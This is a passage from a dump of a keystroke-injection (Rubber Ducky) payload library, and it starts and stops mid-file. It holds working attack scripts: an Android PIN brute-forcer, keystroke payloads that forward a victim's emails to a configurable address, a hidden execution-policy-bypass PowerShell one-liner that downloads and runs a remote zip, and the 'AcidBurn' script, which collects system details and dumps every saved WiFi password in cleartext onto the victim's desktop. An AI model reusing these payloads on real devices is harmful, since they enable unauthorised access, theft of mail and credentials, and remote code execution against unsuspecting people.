) THEN\r\n                STRING 0\r\n            ELSE\r\n                STRING 1\r\n            END_IF\r\n            $INPUT = ($INPUT << 1)\r\n        END_WHILE\r\n        IF $NL THEN\r\n            ENTER\r\n        END_IF\r\n    END_FUNCTION\r\nEND_EXTENSION\r\nREM Turn off TRANSLATE newline\r\n$NL = FALSE\r\nVAR $Frist = 0\r\nVAR $Second = 0\r\nVAR $Third = 0\r\nVAR $Forth = 0\r\n\r\nWHILE ($Frist < 10)\r\n    $INPUT = $Frist\r\n    TRANSLATE_INT()\r\n    $Second = 0\r\n    WHILE ($Second < 10)\r\n        $INPUT = $Second\r\n        TRANSLATE_INT()\r\n        $Third = 0\r\n        WHILE ($Third < 10)\r\n            $INPUT = $Third\r\n            TRANSLATE_INT()\r\n            $Forth = 0\r\n            WHILE ($Forth < 10)\r\n                $INPUT = $Forth\r\n                TRANSLATE_INT()\r\n                $Forth = ($Forth + 1)\r\n                DELAY 1000\r\n                BACKSPACE\r\n            END_WHILE\r\n            $Third = ($Third + 1)\r\n            BACKSPACE\r\n        END_WHILE\r\n        $Second = ($Second + 1)\r\n        BACKSPACE\r\n    END_WHILE\r\n    $Frist = ($Frist + 1)\r\n    BACKSPACE\r\nEND_WHILE\r\n"
  },
  {
    "path": "payloads/library/mobile/Android/Android_HID_BruteForceCode/readme.md",
    "content": "# Brute Force\r\n- Author: Cribbit\r\n- Version: 1.0\r\n- Target: Android < 6 (I think)\r\n- Category: Mobile\r\n- Attackmode: HID\r\n- Props: *[Hak5Darren](https://github.com/hak5darren)* for original idea, *[Kalani](https://github.com/kalanihelekunihi)* & Shinichi Kudo for info on backspace CVE\r\n\r\n## Description\r\nAn updated version of Hak5 episode 1217.1 android pin brute force method using just Ducky Script 3. Please note this brute force method is at least 10-year-old at time of writing. So, will not work on modern android phones. But gives you a PoC of a way it could of be written.\r\n\r\nThere is also a version to work with CVE-2017-10709 that uses backspaces.\r\n\r\nClick the image below to watch the original Hak5 Video:  \r\n[![Hak5 1217.1, Hack any 4-digit Android PIN in 16 hours with a USB Rubber Ducky](https://img.youtube.com/vi/yoYiEkk5TyI/0.jpg)](https://www.youtube.com/watch?v=yoYiEkk5TyI)\r\n\r\n## Change Log\r\n| Version | Changes         |\r\n| ------- | --------------- |\r\n| 1.0     | Initial release |\r\n\r\n"
  },
  {
    "path": "payloads/library/mobile/Android/Android_HID_Forward-Email/Payload_Gmail.txt",
    "content": "REM Forwards the first email in the primary section\r\nREM Only works for phones. \r\nREM Does not work tablets as menu bar stops tabs\r\nREM GMAIL SHORTCUTS https://support.google.com/mail/answer/6594?co=GENIE.Platform%3DAndroid&hl=en&oco=1\r\nDELAY 1000\r\nGUI e\r\nDELAY 1000\r\nTAB\r\nDELAY 500\r\nTAB\r\nDELAY 500\r\nENTER\r\nREM LOOP FROM HERE\r\nDELAY 500\r\nCTRL r\r\nDELAY 1000\r\nTAB\r\nDELAY 500\r\nSHIFT TAB\r\nDELAY 500\r\nBACKSPACE\r\nDELAY 500\r\nSTRING your@email.com\r\nCTRL ENTER\r\nDELAY 1000\r\nREM Moves to the next email\r\nRIGHTARROW\r\nREM GOTO LOOP"
  },
  {
    "path": "payloads/library/mobile/Android/Android_HID_Forward-Email/Payload_Samsung.txt",
    "content": "REM Forwards the first email\r\nDELAY 1000\r\nGUI e\r\nDELAY 1000\r\nTAB\r\nDELAY 500\r\nTAB\r\nDELAY 500\r\nTAB\r\nDELAY 500\r\nTAB\r\nDELAY 500\r\nENTER\r\nREM LOOP FROM HERE\r\nDELAY 500\r\nSHIFT TAB\r\nDELAY 500\r\nLEFTARROW\r\nLEFTARROW\r\nLEFTARROW\r\nLEFTARROW\r\nRIGHTARROW\r\nRIGHTARROW\r\nENTER\r\nDELAY 500\r\nSTRING your@email.com\r\nDELAY 500\r\nSHIFT TAB\r\nDELAY 500\r\nSHIFT TAB\r\nDELAY 500\r\nENTER\r\nDELAY 500\r\nREM Moves to the next email\r\nTAB\r\nRIGHTARROW\r\nRIGHTARROW\r\nLEFTARROW\r\nENTER\r\nREM GOTO LOOP"
  },
  {
    "path": "payloads/library/mobile/Android/Android_HID_Forward-Email/readme.md",
    "content": "# Forward Email\r\n- Author: Cribbit\r\n- Version: 1.0\r\n- Target: Android \r\n- Tested on: Samsung S10\r\n- Category: mobile\r\n- Attackmode: HID\r\n\r\n## Change Log\r\n| Version | Changes         |\r\n| ------- | --------------- |\r\n| 1.0     | Initial release |\r\n\r\n## Description\r\nForwards the last received email. Included are two versions one for Gmail and Samsung Email app\r\nthis was tested on a S10 as there are many flavours of android this many not work on all. Using GUI + E should bring up the default Email app. I have put a comment in for a loop so if you wish to forward more than one email. \r\n\r\n[Hak5 forum post](https://forums.hak5.org/topic/52058-payload-android-phone-forward-email/#comment-329886)\r\n\r\n## Configuration\r\nChange `your@email.com` to the email address you wish to send to."
  },
  {
    "path": "payloads/library/mobile/Android/Browse-to-URL-Example/payload.txt",
    "content": "REM Title: Android Browse to URL Example\nREM Author: Hak5Darren\nREM Desscription: Opens browser. Navigates to URL.\nREM Target: \"most\" Android devices (compatibility varies by vendor implementation)\nREM DuckyScript: 3.0\nATTACKMODE HID STORAGE\nWAIT_FOR_BUTTON_PRESS\nREM HID and STORAGE for convenience. Doesn't execute payload until button press.\nDEFINE URL hak5.org\nREM Change to URL of your choosing.\nGUI b\nREM Open browser\nDELAY 700\nCTRL l\nREM Select URL bar\nDELAY 700\nSTRINGLN URL\nREM inject URL and press ENTER\n"
  },
  {
    "path": "payloads/library/mobile/Android/WhatsappMessageSender/payload.txt",
    "content": "REM # -----------------------------------------------------------------------------------------------------------------------------------------------------------------------\nREM #  TITLE: Whatsapp Message Sender\nREM #\nREM #  AUTHOR: Gopalsamy Rajendran         LinkedIn: @gopalsamyrajendran         Version:1.0\nREM #\nREM #  Disclaimer: This script is only for Educational purpose. Please don't misuse it.\nREM #\nREM #  Tested OS: Android version 12\nREM #\nREM #  Note: Script won't work on locked devices\nREM #\nREM #  Date: 08/03/2023\nREM # -----------------------------------------------------------------------------------------------------------------------------------------------------------------------\n\nDEFINE PHONENUMBER +91XXXXXXXXXX\nDEFINE MESSAGE Hi this is Gopalsamy Rajendran\n\nREM #-------------------------------------------------\nREM # Below lines will open search engine and type https://\nDELAY 1000\nGUI r\nDELAY 100\nSTRING h\nDELAY 100\nSTRING t\nDELAY 100\nSTRING t\nDELAY 100\nSTRING p\nDELAY 100\nSTRING s\nDELAY 500\nDELAY 100\nSTRING :\nDELAY 100\nSTRING /\nDELAY 100\nSTRING /\nDELAY 100\nREM #-------------------------------------------------\n\nREM #-------------------------------------------------\nREM # Below lines will enter wa.me after https://\nREM # Replace the mobile number with your's\n\nSTRING wa.me/\nSTRING PHONENUMBER\nENTER\nDELAY 5000\nREM #-------------------------------------------------\n\nREM #-------------------------------------------------\nREM # Below message will be sent to the target number confiugured above\nREM # Replace the message with your own message\nSTRING MESSAGE\nTAB\nTAB\nENTER\nDELAY 1000\nREM #-------------------------------------------------\n\n"
  },
  {
    "path": "payloads/library/mobile/iOS/Open_Link/README.md",
    "content": "Title: Open Link<br>\nAuthor:\tmrproxy<br>\n\nDescription: Opens Spotlight, Prints the link, enters it.<br>\nTarget:\tApple iOS (iPhone, iPad)<br>\nVersion:\t1.0<br>\nCategory:\tMobile-IOS<br>\nSource: https://github.com/Mr-Proxy-source/BadUSB-Payloads<br>\n"
  },
  {
    "path": "payloads/library/mobile/iOS/Open_Link/payload.txt",
    "content": "REM Title: Open Link\nREM Author:\tmrproxy\nREM Description: Opens Spotlight, prints the link, enters it.\nREM Target:\tApple iOS (iPhone, iPad)\nREM Version:\t1.0\nREM Category:\tMobile-IOS\nREM Source: https://github.com/Mr-Proxy-source/BadUSB-Payloads\n\nREM Put your link down there\nDEFINE TARGET_URL https://example.com\n\nDELAY 1500\nGUI h\nDELAY 1000\nGUI SPACE\nDELAY 250\nSTRING TARGET_URL\nDELAY 70\nTAB\nDELAY 70\nENTER\nDELAY 150\nENTER\n"
  },
  {
    "path": "payloads/library/mobile/iOS/RickRoll_Apple/ReadMe.md",
    "content": "Title: RickRoll Apple<br>\nAuthor:\tKalani / UberGuidoZ<br>\nOriginal ASCII found online, cleaned it up and made it dance a bit.<br>\n\nDescription: Opens Safari, enters YouTube link, goes full screen.<br>\nNotes: Kalani wrote the original code, just modded to a Rick Roll!<br>\nTarget:\tApple iOS (iPhone, iPad)<br>\nVersion:\t1.0<br>\nCategory:\tPrank<br>\nSource: https://github.com/UberGuidoZ/OMG-Payloads\n"
  },
  {
    "path": "payloads/library/mobile/iOS/RickRoll_Apple/payload.txt",
    "content": "REM Title: RickRoll Apple\nREM Author:\tKalani (minor mod by UberGuidoZ)\nREM Kalani wrote the original code, just modded to a Rick Roll!\nREM\nREM Description: Opens Safari, enters YouTube link, goes full screen.\nREM Target:\tApple iOS (iPhone, iPad)\nREM Version:\t1.0\nREM Category:\tPrank\nREM Source: https://github.com/UberGuidoZ/OMG-Payloads\nGUI SPACE\nDELAY 300\nSTRING Safari\nENTER\nDELAY 500\nGUI t\nSTRINGLN https://www.youtube.com/watch?v=xm3YgoEiEDc\nDELAY 500\nSTRING f\n"
  },
  {
    "path": "payloads/library/mobile/iOS/placeholder",
    "content": ""
  },
  {
    "path": "payloads/library/mobile/placeholder",
    "content": ""
  },
  {
    "path": "payloads/library/prank/-RD-ADV-RickRoll/ADV-RickRoll.txt",
    "content": "REM     Title: ADV-RickRoll\r\n\r\nREM     Author: I am Jakoby\r\n\r\nREM     Description: This is a one liner payload that will Rick Roll your target. Video will be played a full screen and max volume. \r\nREM     Upon deployment payload will pause until a mouse movement is detected and run once one is. \r\n\r\nREM     Target: Windows 10, 11\r\n\r\nREM     --------------------------------------------------------------------------------------\r\nREM     THIS PAYLOAD IS PLUG AND PLAY. NO MODIFICATIONS NEEDED SIMPLY RUN THE CODE DOWN BELOW.\r\nREM     --------------------------------------------------------------------------------------\r\n\r\nDELAY 2000\r\nGUI r\r\nDELAY 500\r\nSTRING powershell -w h -NoP -NonI -Exec Bypass $U='https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/Assets/rr.zip';$Z=\"$env:TMP\"+'\\rr.zip';$D=\"$env:TMP\"+'\\rr';iwr -Uri $U -O $Z;Expand-Archive $Z -DestinationPath $D\\ -Force;powershell $D\\rr.ps1\r\nENTER\r\n"
  },
  {
    "path": "payloads/library/prank/-RD-ADV-RickRoll/ReadMe.md",
    "content": "![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true)\n\n<img src=\"https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif\" width=\"50\"> \n\n<h1 align=\"center\">\n  <a href=\"https://git.io/typing-svg\">\n    <img src=\"https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+the;Adv+RickRoll!+😈&center=true&size=30\">\n  </a>\n</h1>\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# ADV-RickRoll\n\nA script used to do an advanced rick roll on your target\n\n## Description\n\nThis program rick rolls your target without opening a muted youtube video\nA rick roll video is downloaded and played in your powershell console \nwhen a mouse movement is detected\n\n## Getting Started\n\n### Dependencies\n\n* An internet connection\n* Windows 10,11\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Invoke-WebRequest will be entered in the Run Box to download and execute the dependencies and payload\n```\npowershell -w h -NoP -NonI -Exec Bypass $U='https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/Assets/rr.zip';$Z=\"$env:TMP\"+'\\rr.zip';$D=\"$env:TMP\"+'\\rr';iwr -Uri $U -O $Z;Expand-Archive $Z -DestinationPath $D\\ -Force;powershell $D\\rr.ps1\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<h2 align=\"center\">📱 My Socials 📱</h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://youtube.com/c/IamJakoby?sub_confirmation=1\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"C#\" />\n      </a>\n      <br>YouTube\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://twitter.com/I_Am_Jakoby\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width=\"48\" height=\"48\" alt=\"Python\" />\n      </a>\n      <br>Twitter\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.instagram.com/i_am_jakoby/\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width=\"48\" height=\"48\" alt=\"Golang\" />\n      </a>\n      <br>Instagram\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://discord.gg/MYYER2ZcJF\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"Jsonnet\" />\n      </a>\n      <br>Discord\n    </td>\n  </tr>\n</table>\n</div>\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [MG](https://github.com/OMG-MG)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<p align=\"center\">\n        <img src=\"https://raw.githubusercontent.com/bornmay/bornmay/Update/svg/Bottom.svg\" alt=\"Github Stats\" />\n</p>\n"
  },
  {
    "path": "payloads/library/prank/-RD-AcidBurn/AcidBurn.ps1",
    "content": "############################################################################################################################################################                      \n#                                  |  ___                           _           _              _             #              ,d88b.d88b                     #                                 \n# Title        : AcidBurn          | |_ _|   __ _   _ __ ___       | |   __ _  | | __   ___   | |__    _   _ #              88888888888                    #           \n# Author       : I am Jakoby       |  | |   / _` | | '_ ` _ \\   _  | |  / _` | | |/ /  / _ \\  | '_ \\  | | | |#              `Y8888888Y'                    #           \n# Version      : 1.0               |  | |  | (_| | | | | | | | | |_| | | (_| | |   <  | (_) | | |_) | | |_| |#               `Y888Y'                       #\n# Category     : Prank             | |___|  \\__,_| |_| |_| |_|  \\___/   \\__,_| |_|\\_\\  \\___/  |_.__/   \\__, |#                 `Y'                         #\n# Target       : Windows 7,10,11   |                                                                   |___/ #           /\\/|_      __/\\\\                  #     \n# Mode         : HID               |                                                           |\\__/,|   (`\\ #          /    -\\    /-   ~\\                 #             \n#                                  |  My crime is that of curiosity                            |_ _  |.--.) )#          \\    = Y =T_ =   /                 #      \n#                                  |   and yea curiosity killed the cat                        ( T   )     / #   Luther  )==*(`     `) ~ \\   Hobo          #                                                                                              \n#                                  |    but satisfaction brought him back                     (((^_(((/(((_/ #          /     \\     /     \\                #    \n#__________________________________|_________________________________________________________________________#          |     |     ) ~   (                #\n#                                                                                                            #         /       \\   /     ~ \\               #\n#  github.com/I-Am-Jakoby                                                                                    #         \\       /   \\~     ~/               #         \n#  twitter.com/I_Am_Jakoby                                                                                   #   /\\_/\\_/\\__  _/_/\\_/\\__~__/_/\\_/\\_/\\_/\\_/\\_#                     \n#  instagram.com/i_am_jakoby                                                                                 #  |  |  |  | ) ) |  |  | ((  |  |  |  |  |  |#              \n#  youtube.com/c/IamJakoby        (youtube link with demonstration coming soon)                              #  |  |  |  |( (  |  |  |  \\\\ |  |  |  |  |  |#\n############################################################################################################################################################\n\n<#\n.NOTES\n\tThis script was not optimized to shorten the code. This script is intended to have as much readablility as possible for new coders to learn. \n\n.DESCRIPTION \n\tThis program gathers details from target PC to include Operating System, RAM Capacity, Public IP, and Email associated with microsoft account.\n\tThe SSID and WiFi password of any current or previously connected to networks.\n\tIt determines the last day they changed thier password and how many days ago.\n\tOnce the information is gathered the script will pause until a mouse movement is detected\n\tThen the script uses Sapi speak to roast their set up and lack of security\n#>\n############################################################################################################################################################\n\n# Variables\n\n\n$s=New-Object -ComObject SAPI.SpVoice\n\n############################################################################################################################################################\n\n# Intro ---------------------------------------------------------------------------------------------------\n function Get-fullName {\n\n    try {\n\n    $fullName = Net User $Env:username | Select-String -Pattern \"Full Name\";$fullName = (\"$fullName\").TrimStart(\"Full Name\")\n\n    }\n \n # If no name is detected function will return $env:UserName \n\n    # Write Error is just for troubleshooting \n    catch {Write-Error \"No name was detected\" \n    return $env:UserName\n    -ErrorAction SilentlyContinue\n    }\n\n    return $fullName \n\n}\n\n$fullName = Get-fullName\n\n# echo statement used to track progress while debugging\necho \"Intro Done\"\n\n###########################################################################################################\n\n<#\n\n.NOTES \n\tRAM Info\n\tThis will get the amount of RAM the target computer has\n#>\n\n\nfunction Get-RAM {\n\n    try {\n\n    $OS = (Get-WmiObject Win32_OperatingSystem).Name;$OSpos = $OS.IndexOf(\"|\");$OS = $OS.Substring(0, $OSpos)\n\n    $RAM=Get-WmiObject Win32_PhysicalMemory | Measure-Object -Property capacity -Sum | % { \"{0:N1}\" -f ($_.sum / 1GB)}\n    $RAMpos = $RAM.IndexOf('.')\n    $RAM = [int]$RAM.Substring(0,$RAMpos).Trim()\n\n# ENTER YOUR CUSTOM RESPONSES HERE\n#----------------------------------------------------------------------------------------------------\n    $lowRAM = \"$RAM gigs of ram? might as well use pen and paper\"\n    \n    $okRAM = \"$RAM gigs of ram really? I have a calculator with more computing power\"\n    \n    $goodRAM = \"$RAM gigs of ram? Can almost guarantee you have a light up keyboard.. you are a wanna be streamer huh?\"\n\n    $impressiveRAM = \"$RAM gigs of ram? are you serious? a super computer with no security that is funny right there\"\n#----------------------------------------------------------------------------------------------------\n\n    if($RAM -le 4){\n       return $lowRAM\n    } elseif($RAM -ge 5 -and $RAM -le 12){\n       return $okRAM\n    } elseif($RAM -ge 13 -and $RAM -le 24){\n       return $goodRAM\n    } else {\n       return $impressiveRAM\n    }\n\n    }\n \n # If one of the above parameters is not detected function will return $null to avoid sapi speak\n\n    # Write Error is just for troubleshooting \n    catch {Write-Error \"Error in search\" \n    return $null\n    -ErrorAction SilentlyContinue\n    }\n}\n\n# echo statement used to track progress while debugging\necho \"RAM Info Done\"\n\n###########################################################################################################\n\n<#\n\n.NOTES \n\tPublic IP \n\tThis will get the public IP from the target computer\n#>\n\n\nfunction Get-PubIP {\n\n    try {\n\n    $computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content\n\n    }\n \n # If no Public IP is detected function will return $null to avoid sapi speak\n\n    # Write Error is just for troubleshooting \n    catch {Write-Error \"No Public IP was detected\" \n    return $null\n    -ErrorAction SilentlyContinue\n    }\n\n    return \"your public  I P address is $computerPubIP\"\n}\n\n# echo statement used to track progress while debugging\necho \"Pub IP Done\"\n\n###########################################################################################################\n\n<#\n\n.NOTES \n\tWifi Network and Password\n\tThis function will custom a tailor response based on how many characters long their password is\n#>\n\n\nfunction Get-Pass {\n\n    #-----VARIABLES-----#\n    # $pwl = their Pass Word Length\n    # $pass = their Password \n\n    try {\n\n    $pro = netsh wlan show interface | Select-String -Pattern ' SSID '; $pro = [string]$pro\n    $pos = $pro.IndexOf(':')\n    $pro = $pro.Substring($pos+2).Trim()\n\n    $pass = netsh wlan show profile $pro key=clear | Select-String -Pattern 'Key Content'; $pass = [string]$pass\n    $passPOS = $pass.IndexOf(':')\n    $pass = $pass.Substring($passPOS+2).Trim()\n    \n    if($pro -like '*_5GHz*') {\n      $pro = $pro.Trimend('_5GHz')\n    } \n\n    $pwl = $pass.length\n\n\n    }\n \n # If no network is detected function will return $null to avoid sapi speak\n \n    # Write Error is just for troubleshooting\n    catch {Write-Error \"No network was detected\" \n    return $null\n    -ErrorAction SilentlyContinue\n    }\n\n\n# ENTER YOUR CUSTOM RESPONSES HERE\n#----------------------------------------------------------------------------------------------------\n    $badPASS = \"$pro is not a very creative name but at least it is not as bad as your wifi password... only $pwl characters long? $pass ...? really..? $pass was the best you could come up with?\"\n    \n    $okPASS = \"$pro is not a very creative name but at least you are trying a little bit, your password is $pwl characters long, still trash though.. $pass ...? You can do better\"\n    \n    $goodPASS = \"$pro is not a very creative name but At least you are not a total fool... $pwl character long password actually is not bad, but it did not save you from me did it? no..it..did..not! $pass is a decent password though.\"\n#----------------------------------------------------------------------------------------------------\n\n    if($pass.length -lt 8) { return $badPASS\n\n    }elseif($pass.length -gt 7 -and $pass.length -lt 12)  { return $okPASS\n\n    }else { return $goodPASS\n\n    }\n}\n\n# echo statement used to track progress while debugging\necho \"Wifi pass Done\"\n\n###########################################################################################################\n\n<#\n\n.NOTES \n\tAll Wifi Networks and Passwords \n\tThis function will gather all current Networks and Passwords saved on the target computer\n\tThey will be save in the temp directory to a file named with \"$env:USERNAME-$(get-date -f yyyy-MM-dd)_WiFi-PWD.txt\"\n#>\n\nFunction Get-Networks {\n# Get Network Interfaces\n$Network = Get-WmiObject Win32_NetworkAdapterConfiguration | where { $_.MACAddress -notlike $null }  | select Index, Description, IPAddress, DefaultIPGateway, MACAddress | Format-Table Index, Description, IPAddress, DefaultIPGateway, MACAddress \n\n# Get Wifi SSIDs and Passwords\t\n$WLANProfileNames =@()\n\n#Get all the WLAN profile names\n$Output = netsh.exe wlan show profiles | Select-String -pattern \" : \"\n\n#Trim the output to receive only the name\nForeach($WLANProfileName in $Output){\n    $WLANProfileNames += (($WLANProfileName -split \":\")[1]).Trim()\n}\n$WLANProfileObjects =@()\n\n#Bind the WLAN profile names and also the password to a custom object\nForeach($WLANProfileName in $WLANProfileNames){\n\n    #get the output for the specified profile name and trim the output to receive the password if there is no password it will inform the user\n    try{\n        $WLANProfilePassword = (((netsh.exe wlan show profiles name=\"$WLANProfileName\" key=clear | select-string -Pattern \"Key Content\") -split \":\")[1]).Trim()\n    }Catch{\n        $WLANProfilePassword = \"The password is not stored in this profile\"\n    }\n\n    #Build the object and add this to an array\n    $WLANProfileObject = New-Object PSCustomobject \n    $WLANProfileObject | Add-Member -Type NoteProperty -Name \"ProfileName\" -Value $WLANProfileName\n    $WLANProfileObject | Add-Member -Type NoteProperty -Name \"ProfilePassword\" -Value $WLANProfilePassword\n    $WLANProfileObjects += $WLANProfileObject\n    Remove-Variable WLANProfileObject\n\treturn $WLANProfileObjects\n}\n}\n\n$Networks = Get-Networks\n\nAdd-Type @\"\nusing System;\nusing System.Runtime.InteropServices;\npublic class PInvoke {\n    [DllImport(\"user32.dll\")] public static extern IntPtr GetDC(IntPtr hwnd);\n    [DllImport(\"gdi32.dll\")] public static extern int GetDeviceCaps(IntPtr hdc, int nIndex);\n}\n\"@\n$hdc = [PInvoke]::GetDC([IntPtr]::Zero)\n$w = [PInvoke]::GetDeviceCaps($hdc, 118) # width\n$h = [PInvoke]::GetDeviceCaps($hdc, 117) # height\n\n<#\n\n.NOTES \n\tThis will take the image you generated and set it as the targets wall paper\n#>\n\nFunction Set-WallPaper {\n \n<#\n \n    .SYNOPSIS\n    Applies a specified wallpaper to the current user's desktop\n    \n    .PARAMETER Image\n    Provide the exact path to the image\n \n    .PARAMETER Style\n    Provide wallpaper style (Example: Fill, Fit, Stretch, Tile, Center, or Span)\n  \n    .EXAMPLE\n    Set-WallPaper -Image \"C:\\Wallpaper\\Default.jpg\"\n    Set-WallPaper -Image \"C:\\Wallpaper\\Background.jpg\" -Style Fit\n  \n#>\n\n \nparam (\n    [parameter(Mandatory=$True)]\n    # Provide path to image\n    [string]$Image,\n    # Provide wallpaper style that you would like applied\n    [parameter(Mandatory=$False)]\n    [ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')]\n    [string]$Style\n)\n \n$WallpaperStyle = Switch ($Style) {\n  \n    \"Fill\" {\"10\"}\n    \"Fit\" {\"6\"}\n    \"Stretch\" {\"2\"}\n    \"Tile\" {\"0\"}\n    \"Center\" {\"0\"}\n    \"Span\" {\"22\"}\n  \n}\n \nIf($Style -eq \"Tile\") {\n \n    New-ItemProperty -Path \"HKCU:\\Control Panel\\Desktop\" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force\n    New-ItemProperty -Path \"HKCU:\\Control Panel\\Desktop\" -Name TileWallpaper -PropertyType String -Value 1 -Force\n \n}\nElse {\n \n    New-ItemProperty -Path \"HKCU:\\Control Panel\\Desktop\" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force\n    New-ItemProperty -Path \"HKCU:\\Control Panel\\Desktop\" -Name TileWallpaper -PropertyType String -Value 0 -Force\n \n}\n \nAdd-Type -TypeDefinition @\" \nusing System; \nusing System.Runtime.InteropServices;\n  \npublic class Params\n{ \n    [DllImport(\"User32.dll\",CharSet=CharSet.Unicode)] \n    public static extern int SystemParametersInfo (Int32 uAction, \n                                                   Int32 uParam, \n                                                   String lpvParam, \n                                                   Int32 fuWinIni);\n}\n\"@ \n  \n    $SPI_SETDESKWALLPAPER = 0x0014\n    $UpdateIniFile = 0x01\n    $SendChangeEvent = 0x02\n  \n    $fWinIni = $UpdateIniFile -bor $SendChangeEvent\n  \n    $ret = [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni)\n}\n\n#############################################################################################################################################\n\nFunction WallPaper-Troll {\n\nif (!$Networks) { Write-Host \"variable is null\" \n}else { \n\n\t# This is the name of the file the networks and passwords are saved \n\n\t$FileName = \"$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_WiFi-PWD.txt\"\n\n\t($Networks| Out-String) >> $Env:temp\\$FileName\n\n\t$content = [IO.File]::ReadAllText(\"$Env:temp\\$FileName\")\n\n\n# this is the message that will be coded into the image you use as the wallpaper\n\n\t$hiddenMessage = \"`n`nMy crime is that of curiosity `nand yea curiosity killed the cat `nbut satisfaction brought him back `n with love -Jakoby\"\n\n# this will be the name of the image you use as the wallpaper\n\n\t$ImageName = \"dont-be-suspicious\"\n\n<#\n\n.NOTES  \n\tThis will get take the information gathered and format it into a .jpg\n#>\n\n\tAdd-Type -AssemblyName System.Drawing\n\n\t$filename = \"$env:tmp\\foo.jpg\" \n\t$bmp = new-object System.Drawing.Bitmap $w,$h \n\t$font = new-object System.Drawing.Font Consolas,18 \n\t$brushBg = [System.Drawing.Brushes]::White \n\t$brushFg = [System.Drawing.Brushes]::Black \n\t$graphics = [System.Drawing.Graphics]::FromImage($bmp) \n\t$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height) \n\t$graphics.DrawString($content,$font,$brushFg,500,100) \n\t$graphics.Dispose() \n\t$bmp.Save($filename) \n\n# Invoke-Item $filename \n\n<#\n\n.NOTES \n\tThis will take your hidden message and use steganography to hide it in the image you use as the wallpaper \n\tThen it will clean up the files you don't want to leave behind\n#>\n\n\techo $hiddenMessage > $Env:temp\\foo.txt\n\tcmd.exe /c copy /b \"$Env:temp\\foo.jpg\" + \"$Env:temp\\foo.txt\" \"$Env:USERPROFILE\\Desktop\\$ImageName.jpg\"\n\n\trm $env:TEMP\\foo.txt,$env:TEMP\\foo.jpg -r -Force -ErrorAction SilentlyContinue\n\n\n#############################################################################################################################################\n\n\n# This will open up notepad with all their saved networks and passwords and taunt them\n\n\n\t$s.Speak(\"wanna see something really cool?\")\n\tSet-WallPaper -Image \"$Env:USERPROFILE\\Desktop\\$ImageName.jpg\" -Style Center\n\t$s.Speak(\"Look at all your other passswords I got..\")\n\tStart-Sleep -Seconds 1\n\t$s.Speak(\"These are the wifi passwords for every network you've ever connected to!\")\n\tStart-Sleep -Seconds 1\n\t$s.Speak(\"I could send them to myself but i wont\")\n\n}\n\n# echo statement used to track progress while debugging\necho \"All Wifi Passes Done\"\n}\n\n\n###########################################################################################################\n\n<#\n\n.NOTES \n\tPassword last Set\n\tThis function will custom tailor a response based on how long it has been since they last changed their password\n#>\n\n\n function Get-Days_Set {\n\n    #-----VARIABLES-----#\n    # $pls (password last set) = the date/time their password was last changed \n    # $days = the number of days since their password was last changed \n\n    try {\n \n    $pls = net user $env:UserName | Select-String -Pattern \"Password last\" ; $pls = [string]$pls\n    $plsPOS = $pls.IndexOf(\"e\")\n    $pls = $pls.Substring($plsPOS+2).Trim()\n    $pls = $pls -replace \".{3}$\"\n    $time = ((get-date) - (get-date \"$pls\")) ; $time = [string]$time \n    $DateArray =$time.Split(\".\")\n    $days = [int]$DateArray[0]\n    }\n \n # If no password set date is detected funtion will return $null to cancel Sapi Speak\n\n    # Write Error is just for troubleshooting \n    catch {Write-Error \"Day password set not found\" \n    return $null\n    -ErrorAction SilentlyContinue\n    }\n\n\n# ENTER YOUR CUSTOM RESPONSES HERE \n#---------------------------------------------------------------------------------------------------- \n    $newPass = \"$pls was the last time you changed your password... You changed your password $days days ago..   I have to applaud you.. at least you change your password often. Still did not stop me! \"\n    \n    $avgPASS = \"$pls was the last time you changed your password... it has been $days days since you changed your password, really starting to push it, i mean look i am here. that tells you something \" \n    \n    $oldPASS = \"$pls was the last time you changed your password... it has been $days days since you changed your password, you were basically begging me to hack you, well here i am! \"\n#----------------------------------------------------------------------------------------------------      \n    \n    if($days -lt 45) { return $newPass\n\n    }elseif($days -gt 44 -and $days -lt 182)  { 